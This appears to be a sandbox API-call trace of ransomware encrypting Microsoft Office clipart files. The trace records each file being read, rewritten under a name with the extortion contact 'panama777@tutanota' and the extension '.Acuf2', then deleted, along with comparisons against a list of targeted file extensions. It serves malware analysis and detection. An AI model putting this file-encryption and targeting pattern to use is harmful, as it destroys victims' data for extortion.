	[0263.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.107] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.107] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.108] GetLastError () returned 0x0
	[0263.108] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x43fe, lpOverlapped=0x0) returned 1
	[0263.110] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4400, lpOverlapped=0x0) returned 1
	[0263.114] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.114] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.114] SetEndOfFile (hFile=0x35c) returned 1
	[0263.114] CloseHandle (hObject=0x35c) returned 1
	[0263.114] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.114] SetEndOfFile (hFile=0x328) returned 1
	[0263.116] CloseHandle (hObject=0x328) returned 1
	[0263.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0263.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63
	[0263.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63
	[0263.117] lstrlenW (lpString=".doc") returned 4
	[0263.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString=".docx") returned 5
	[0263.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.117] lstrlenW (lpString=".pdf") returned 4
	[0263.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString=".xls") returned 4
	[0263.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.117] lstrlenW (lpString=".xlsx") returned 5
	[0263.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.117] lstrlenW (lpString=".ppt") returned 4
	[0263.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63
	[0263.117] lstrlenW (lpString=".zip") returned 4
	[0263.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.117] lstrlenW (lpString=".rar") returned 4
	[0263.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString=".bz2") returned 4
	[0263.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString=".7z") returned 3
	[0263.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63
	[0263.117] lstrlenW (lpString=".dbf") returned 4
	[0263.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63
	[0263.117] lstrlenW (lpString=".1cd") returned 4
	[0263.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63
	[0263.117] lstrlenW (lpString=".jpg") returned 4
	[0263.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.118] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1472) returned 1
	[0263.118] CloseHandle (hObject=0x328) returned 1
	[0263.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20
	[0263.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.118] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.118] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.119] GetLastError () returned 0x0
	[0263.119] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5c0, lpOverlapped=0x0) returned 1
	[0263.320] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5d0, lpOverlapped=0x0) returned 1
	[0263.321] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.321] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.321] SetEndOfFile (hFile=0x35c) returned 1
	[0263.321] CloseHandle (hObject=0x35c) returned 1
	[0263.321] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.321] SetEndOfFile (hFile=0x328) returned 1
	[0263.323] CloseHandle (hObject=0x328) returned 1
	[0263.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1
	[0263.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63
	[0263.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63
	[0263.350] lstrlenW (lpString=".doc") returned 4
	[0263.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.350] lstrlenW (lpString=".docx") returned 5
	[0263.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.350] lstrlenW (lpString=".pdf") returned 4
	[0263.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.350] lstrlenW (lpString=".xls") returned 4
	[0263.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.350] lstrlenW (lpString=".xlsx") returned 5
	[0263.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.350] lstrlenW (lpString=".ppt") returned 4
	[0263.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63
	[0263.351] lstrlenW (lpString=".zip") returned 4
	[0263.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.351] lstrlenW (lpString=".rar") returned 4
	[0263.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.351] lstrlenW (lpString=".bz2") returned 4
	[0263.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.351] lstrlenW (lpString=".7z") returned 3
	[0263.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63
	[0263.351] lstrlenW (lpString=".dbf") returned 4
	[0263.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63
	[0263.351] lstrlenW (lpString=".1cd") returned 4
	[0263.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63
	[0263.351] lstrlenW (lpString=".jpg") returned 4
	[0263.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.351] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=752) returned 1
	[0263.351] CloseHandle (hObject=0x28c) returned 1
	[0263.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20
	[0263.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.352] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.352] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.352] GetLastError () returned 0x0
	[0263.352] ReadFile (in: hFile=0x28c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2f0, lpOverlapped=0x0) returned 1
	[0263.368] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x300, lpOverlapped=0x0) returned 1
	[0263.369] ReadFile (in: hFile=0x28c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.369] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.369] SetEndOfFile (hFile=0x32c) returned 1
	[0263.369] CloseHandle (hObject=0x32c) returned 1
	[0263.369] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.369] SetEndOfFile (hFile=0x28c) returned 1
	[0263.375] CloseHandle (hObject=0x28c) returned 1
	[0263.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1
	[0263.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63
	[0263.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63
	[0263.590] lstrlenW (lpString=".doc") returned 4
	[0263.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString=".docx") returned 5
	[0263.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.590] lstrlenW (lpString=".pdf") returned 4
	[0263.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString=".xls") returned 4
	[0263.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.590] lstrlenW (lpString=".xlsx") returned 5
	[0263.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.590] lstrlenW (lpString=".ppt") returned 4
	[0263.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63
	[0263.590] lstrlenW (lpString=".zip") returned 4
	[0263.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.590] lstrlenW (lpString=".rar") returned 4
	[0263.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString=".bz2") returned 4
	[0263.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString=".7z") returned 3
	[0263.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63
	[0263.590] lstrlenW (lpString=".dbf") returned 4
	[0263.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63
	[0263.590] lstrlenW (lpString=".1cd") returned 4
	[0263.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63
	[0263.590] lstrlenW (lpString=".jpg") returned 4
	[0263.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.627] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=15164) returned 1
	[0263.627] CloseHandle (hObject=0x340) returned 1
	[0263.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20
	[0263.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.661] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.661] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.661] GetLastError () returned 0x0
	[0263.661] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3b3c, lpOverlapped=0x0) returned 1
	[0263.703] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3b40, lpOverlapped=0x0) returned 1
	[0263.704] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.704] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.704] SetEndOfFile (hFile=0x358) returned 1
	[0263.704] CloseHandle (hObject=0x358) returned 1
	[0263.704] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.704] SetEndOfFile (hFile=0x220) returned 1
	[0263.706] CloseHandle (hObject=0x220) returned 1
	[0263.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1
	[0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63
	[0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63
	[0263.707] lstrlenW (lpString=".doc") returned 4
	[0263.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.707] lstrlenW (lpString=".docx") returned 5
	[0263.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.707] lstrlenW (lpString=".pdf") returned 4
	[0263.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.707] lstrlenW (lpString=".xls") returned 4
	[0263.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.707] lstrlenW (lpString=".xlsx") returned 5
	[0263.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.707] lstrlenW (lpString=".ppt") returned 4
	[0263.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63
	[0263.707] lstrlenW (lpString=".zip") returned 4
	[0263.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.707] lstrlenW (lpString=".rar") returned 4
	[0263.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.707] lstrlenW (lpString=".bz2") returned 4
	[0263.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.707] lstrlenW (lpString=".7z") returned 3
	[0263.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63
	[0263.707] lstrlenW (lpString=".dbf") returned 4
	[0263.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63
	[0263.708] lstrlenW (lpString=".1cd") returned 4
	[0263.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63
	[0263.708] lstrlenW (lpString=".jpg") returned 4
	[0263.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.708] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=10316) returned 1
	[0263.708] CloseHandle (hObject=0x220) returned 1
	[0263.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20
	[0263.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.708] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.709] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.709] GetLastError () returned 0x0
	[0263.709] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x284c, lpOverlapped=0x0) returned 1
	[0263.736] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2850, lpOverlapped=0x0) returned 1
	[0263.737] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.737] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.737] SetEndOfFile (hFile=0x358) returned 1
	[0263.737] CloseHandle (hObject=0x358) returned 1
	[0263.737] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.737] SetEndOfFile (hFile=0x220) returned 1
	[0263.741] CloseHandle (hObject=0x220) returned 1
